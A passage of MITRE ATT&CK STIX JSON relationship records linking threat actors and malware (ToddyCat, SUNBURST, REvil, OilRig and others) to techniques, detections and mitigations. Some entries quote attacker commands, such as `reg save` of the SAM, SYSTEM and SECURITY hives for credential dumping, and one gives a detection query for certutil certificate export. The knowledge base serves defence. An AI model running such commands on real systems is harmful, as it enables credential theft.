Sxstrace)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6765164-14b8-4804-aa68-0d88d48c1582","created":"2024-03-28T03:29:36.246Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T03:29:36.246Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b67949bd-d0a3-4037-82a1-215d43798a47","created":"2024-03-01T17:55:56.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:36:25.758Z","description":"This search looks for arguments to certutil.exe indicating the manipulation or extraction of Certificate. This certificate can then be used to sign new authentication tokens specially inside Federated environments such as Windows ADFS.\n\nAnalytic 1 - Certutil.exe Certificate Extraction\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND Image= \"C:\\Windows\\System32\\certutil.exe\" AND CommandLine= \"* -exportPFX *\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b67fd42d-2fc2-4df0-80b7-3e84ed8510ce","created":"2022-04-16T17:44:33.021Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\.","modified":"2022-04-16T17:44:33.021Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b682bc04-73f7-4597-a772-264b28468fed","created":"2024-01-23T20:41:26.339Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:41:26.339Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has hidden malicious scripts using `powershell.exe -windowstyle hidden`. (Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b683c558-074d-4e29-808f-6d86948dd5d0","type":"relationship","created":"2021-09-21T15:16:40.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.587Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has downloaded additional files and tools onto a compromised host.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b68525fa-4be9-4bef-951d-5e71c1660833","created":"2024-06-20T19:28:34.978Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-20T19:28:34.978Z","description":"Monitor executed commands and arguments for actions that could be taken to alter generated artifacts on a host system (e.g., `Timestomp.exe` and `SetMace.exe`).","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b68c8dc2-e3da-4ce8-aef3-456b160e7fb5","type":"relationship","created":"2019-07-19T16:49:44.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:49.173Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b69424ec-3af6-44aa-842a-81fba219b9f4","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"}],"modified":"2020-03-16T20:05:43.409Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used code-signing certificates on its malware that are either forged due to weak keys or stolen. [Darkhotel](https://attack.mitre.org/groups/G0012) has also stolen certificates and signed backdoors and downloaders with them.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b69490a4-3768-405e-856d-da11d95183e7","type":"relationship","created":"2020-01-30T14:34:45.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-14T16:28:19.976Z","description":"Ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b695f761-40ed-4988-935c-a1cf5e67c8d8","type":"relationship","created":"2021-01-06T17:58:29.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.736Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) files had names that resembled legitimate Window file and directory names.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6970925-a435-4942-b244-60e4f57acf86","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) is capable of file deletion along with other file system interaction.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b697e1d0-b537-4be0-bd16-fd3f7ade80e8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.933Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) uses Rundll32 for executing the dropper program.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b69fa422-d118-4d30-948b-422e737b1116","created":"2022-09-22T22:04:23.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:58:43.814Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors leveraged a custom tool to dump OS credentials and used following commands: `reg save HKLM\\\\SYSTEM system.hiv`, `reg save HKLM\\\\SAM sam.hiv`, and `reg save HKLM\\\\SECURITY security.hiv`, to dump SAM, SYSTEM and SECURITY hives.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6a22f6c-e7a4-499e-9732-afb37a4e5254","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for newly constructed processes and/or command-lines that execute logon scripts","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6a3348c-99db-49d0-b98e-9bc80b4cef06","type":"relationship","created":"2020-02-05T19:34:05.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T19:34:05.080Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6a60179-abb0-41ec-96cc-112abe232509","type":"relationship","created":"2021-01-06T15:56:49.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T15:56:49.644Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used DNS for C2 traffic designed to mimic normal SolarWinds API communications.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:30.938Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6a99c7b-0c5c-4d07-ad28-273648ae081e","created":"2024-04-04T21:53:25.630Z","revoked":false,"external_references":[{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T21:53:25.630Z","description":"[APT29](https://attack.mitre.org/groups/G0016) uses compromised residential endpoints, typically within the same ISP IP address range, as proxies to hide the true source of C2 traffic.(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6ac2ef7-350d-48ca-9ab9-8a06f9ff84e3","type":"relationship","created":"2021-08-19T21:57:15.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-19T21:57:15.756Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used HTTP for C2 communications.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-17T16:17:38.050Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6ba4fa6-4b31-4824-9885-882274c62716","type":"relationship","created":"2020-10-12T13:52:32.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-12T13:52:32.923Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6baac4e-00ab-41e6-a035-d2f7d511e476","created":"2024-09-25T13:22:29.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-13T16:20:12.043Z","description":"In cloud environments, limit permissions to modify cloud bucket lifecycle policies (e.g., `PutLifecycleConfiguration` in AWS) to only those accounts that require it. In AWS environments, consider using Service Control policies to limit the use of the `PutBucketLifecycle` API call. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6bce22a-7318-483d-a7dc-0edf32814ee5","type":"relationship","created":"2021-08-18T19:38:52.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."}],"modified":"2021-08-18T19:38:52.079Z","description":"[REvil](https://attack.mitre.org/software/S0496) can check the system language using GetUserDefaultUILanguage and GetSystemDefaultUILanguage. If the language is found in the list, the process terminates.(Citation: Kaspersky Sodin July 2019)\n","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6bfd59b-086e-4559-9bc0-159945c84e78","type":"relationship","created":"2021-09-27T20:50:56.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-27T20:50:56.452Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) used the \"StackStrings\" obfuscation technique to hide malicious functionalities.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6c09dbf-0934-42c5-a517-847128a0ce5a","type":"relationship","created":"2020-10-01T01:08:41.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:08:41.201Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6c10d21-5e91-4dfc-b76e-e94d7142ed32","type":"relationship","created":"2020-02-25T19:19:09.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.532Z","description":"Consider removing the local Administrators group from the list of groups allowed to log in through RDP.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6c44630-d1d0-467c-a84d-83564a3a0639","created":"2020-03-17T02:02:46.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:38:54.305Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used the Plink utility and other tools to create tunnels to C2 servers.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6cc5fef-2bcd-4772-910f-370774e87a4b","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor interactions with images and containers by users to identify ones that are added 